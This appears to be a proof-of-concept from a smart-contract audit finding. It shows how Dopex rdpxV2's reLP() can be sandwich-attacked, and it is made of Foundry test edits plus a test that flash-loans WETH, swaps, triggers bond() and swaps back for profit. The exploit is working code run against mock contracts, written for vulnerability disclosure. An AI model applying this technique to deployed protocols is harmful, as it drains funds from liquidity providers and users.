This POC shows that reLPContract.reLP()
is susceptible to sandwich attack due to user control over bond()
.
Follow the the steps below to setup and run the poc.
- Modify
tests\rdpxV2-Core\Setup.t.sol#L93
(https://github.com/code-423n4/2023-08-dopex/blob/main/tests/rdpxV2-core/Setup.t.sol#L93) as follows:
//@peakbolt (issue 976) just to increase reserve amount for larger bond()
rdpx.mint(address(rdpxReserveContract), 1000 ether);
//rdpx.mint(address(rdpxReserveContract), 100 ether);
- Modify
tests\rdpxV2-Core\Setup.t.sol#L129-L131
(https://github.com/code-423n4/2023-08-dopex/blob/main/tests/rdpxV2-core/Setup.t.sol#L129-L131) as follows:
//@peakbolt (issue 976) just to increase deployer balance for larger bond()
rdpx.mint(address(this), 1000000000 * 1e18);
rdpx.mint(address(1), 1100 * 1e18);
weth.mint(address(this), 20000000 * 1e18);
/*
rdpx.mint(address(this), 1000000 * 1e18);
rdpx.mint(address(1), 1100 * 1e18);
weth.mint(address(this), 20000 * 1e18);
*/
- Modify
tests\rdpxV2-Core\Setup.t.sol#L203-L212
(https://github.com/code-423n4/2023-08-dopex/blob/main/tests/rdpxV2-core/Setup.t.sol#L203-L212) as follows:
//@peakbolt (issue 976) increase liquidity for larger reLP amount
router.addLiquidity(
address(rdpx),
address(weth),
100000 * 1e18,
20000 * 1e18,
10000 * 1e18,
2000 * 1e18,
address(rdpxV2Core),
block.timestamp + 300
);
/*
router.addLiquidity(
address(rdpx),
address(weth),
10000 * 1e18,
2000 * 1e18,
1000 * 1e18,
200 * 1e18,
address(rdpxV2Core),
block.timestamp + 300
);
*/
- Add the following imports to
tests\rdpxV2-Core\Periphery.t.sol
.
//@peakbolt (issue 976)
import { IUniswapV2Router } from "../../contracts/uniswap_V2/IUniswapV2Router.sol";
import { IUniswapV2Pair } from "../../contracts/uniswap_V2/IUniswapV2Pair.sol";
import { MockToken } from "../../contracts/mocks/MockToken.sol";
import { RdpxV2Core } from "../../contracts/core/RdpxV2Core.sol";
- Add the following contract to
tests\rdpxV2-Core\Periphery.t.sol
. This is used for triggering ofbond()
.
//@peakbolt (issue 976)
contract AttackerBondContract {
function triggerBond(RdpxV2Core rdpxV2Core, MockToken rdpx, MockToken weth, uint256 amount) public {
weth.approve(address(rdpxV2Core), type(uint256).max);
rdpx.approve(address(rdpxV2Core), type(uint256).max);
uint256 bond = rdpxV2Core.bond(amount, 0, address(this));
}
}
- Modify
Periphery.t.sol#L95-L96
as follows:
//@peakbolt (issue 976) increase rdp/weth for larger bond()
rdpx.transfer(address(rdpxV2Core), 50e21);
weth.transfer(address(rdpxV2Core), 11e21);
//rdpx.transfer(address(rdpxV2Core), 50e18);
//weth.transfer(address(rdpxV2Core), 11e18);
- Add the following functions in the
Periphery
contract intests\rdpxV2-Core\Periphery.t.sol
.
//@peakbolt (issue 976)
function getTokenPriceRdpxInWeth(address pairAddress) public view returns(uint256)
{
//pair is RDPX / WETH (see Setup.t.sol)
(uint256 reserve0, uint256 reserve1,) = IUniswapV2Pair(pairAddress).getReserves();
return (1e18*reserve1)/reserve0; // return amount of token1 (weth) needed to buy token0 (rdpx)
}
function testPeakboltReLpContractSandwichAttack() public {
testV2Amo();
console.log("-------------- setup copied from testReLpContract() ------------");
// set address in reLP contract and grant role
reLpContract.setAddresses(
address(rdpx),
address(weth),
address(pair),
address(rdpxV2Core),
address(rdpxReserveContract),
address(uniV2LiquidityAMO),
address(rdpxPriceOracle),
address(factory),
address(router)
);
reLpContract.grantRole(reLpContract.RDPXV2CORE_ROLE(), address(rdpxV2Core));
reLpContract.setreLpFactor(9e4);
rdpxV2Core.setIsreLP(true);
// add liquidity
//@peakbolt (issue 976) - increase liquidity for larger bond()
uniV2LiquidityAMO.addLiquidity(5e21, 1e21, 0, 0);
//uniV2LiquidityAMO.addLiquidity(5e18, 1e18, 0, 0);
uniV2LiquidityAMO.approveContractToSpend(
address(pair),
address(reLpContract),
type(uint256).max
);
console.log("-------------- 1. attacker perform first swap to get rDPX with flashloaned WETH ------------");
address attacker = vm.addr(1);
uint256 attackerFlashLoanAmount = 1e22;
uint256 attackerBondAmount = 1e20;
//get flash loan
deal(address(weth), address(attacker), attackerFlashLoanAmount);
vm.startPrank(attacker);
rdpx.approve(address(router), type(uint256).max);
weth.approve(address(router), type(uint256).max);
console.log("attacker weth balance (initial) : %d [from flashloan]", weth.balanceOf(attacker));
console.log("attacker rdpx balance (initial) : %d ", rdpx.balanceOf(attacker));
//1st swap from WETH to rDPX
address[] memory path = new address[](2);
path[0] = address(weth);
path[1] = address(rdpx);
IUniswapV2Router(router).swapExactTokensForTokens(attackerFlashLoanAmount, 0, path, address(attacker), block.timestamp + 100);
console.log("attacker weth balance (after 1st swap): %d ", weth.balanceOf(attacker));
console.log("attacker rdpx balance (after 1st swap): %d", rdpx.balanceOf(attacker));
console.log("rDPX price in WETH (after 1st swap): %d ", getTokenPriceRdpxInWeth(address(pair)));
console.log("-------------- 2. Attacker triggers bond() that indirectly perform removeLiquidity() in reLPContract.reLP() ------------");
// for poc purpose, a different account is used for bond() to keep the sandwich attack profit calculation simple.
// bond() can be performed with the same account, just that it complicates the profit calculation with the leftover WETH/RDPX.
// we dont consider the the rDPX & WETH in attack profit calculation as the dpxETH bond received can be redeemed / sold later.
AttackerBondContract bondContract = new AttackerBondContract();
(uint256 rdpxRequiredToBond, uint256 wethRequiredToBond) = rdpxV2Core.calculateBondCost(attackerBondAmount, 0);
// attacker acquire rDPX & WETH separately without flashloan, this can be recoup by selling dpxETH later
deal(address(rdpx), address(bondContract), rdpxRequiredToBond);
deal(address(weth), address(bondContract), wethRequiredToBond);
//this will increase price of rDPX due to removeLiquidity() triggered from bond()->reLP()
bondContract.triggerBond(rdpxV2Core, rdpx, weth, attackerBondAmount);
console.log("rDPX price in WETH (after bond): %d ", getTokenPriceRdpxInWeth(address(pair)));
console.log("-------------- 3. Attacker performs 2nd swap rDPX back to WETH and profit ------------");
//Swap back from rDPX to WETH and profit
path[0] = address(rdpx);
path[1] = address(weth);
IUniswapV2Router(router).swapExactTokensForTokens(rdpx.balanceOf(attacker), 0, path, address(attacker), block.timestamp + 100);
vm.stopPrank();
console.log("attacker weth balance (after 2nd swap): %d ", weth.balanceOf(attacker));
console.log("attacker rdpx balance (after 2nd swap): %d", rdpx.balanceOf(attacker));
console.log("attacker profit in WETH (after repaying flashloan): %d", weth.balanceOf(attacker) - attackerFlashLoanAmount);
}